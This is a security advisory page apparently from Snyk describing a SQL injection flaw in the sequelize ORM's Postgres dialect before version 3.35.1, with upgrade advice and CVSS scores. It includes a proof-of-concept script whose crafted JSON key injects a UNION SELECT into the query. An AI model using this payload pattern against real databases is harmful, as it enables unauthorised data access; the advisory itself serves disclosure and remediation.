SQL Injection Affecting sequelize package, versions <3.35.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.19% (58th percentile)

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  • Snyk ID SNYK-JS-SEQUELIZE-450222
  • published 21 Jun 2019
  • disclosed 20 Jun 2019
  • credit Snyk Security Team

How to fix?

Upgrade sequelize to version 3.35.1 or higher.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly sanitized in the Postgres dialect.

PoC by Snyk

const Sequelize = require('sequelize');

const sequelize = new Sequelize('someregistry', 'postgres', '', {
  host: 'localhost',
  port: '5432',
  dialect: 'postgres'
});

const Project = sequelize.define('Project', {
  name: Sequelize.DataTypes.TEXT,
  target: Sequelize.DataTypes.JSONB,
}, {
  tableName: 'projects',
});

(async () => {
  await sequelize.authenticate();

  console.log(await Project.findAll({
    where: {target: {"a": 1}},
    attributes: ['name'],
    raw: true
  }));

  console.log(await Project.findAll({
    where: {target: {"a}') = '1' UNION SELECT VERSION(); -- ": 1}},
    attributes: ['name'],
    raw: true
  }));
})();

// https://github.com/sequelize/sequelize/blob/v3/lib/dialects/abstract/query-generator.js#L2201
// $baseKey = self.quoteIdentifier(key)+'#>>\'{'+path.join(', ')+'}\'';

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical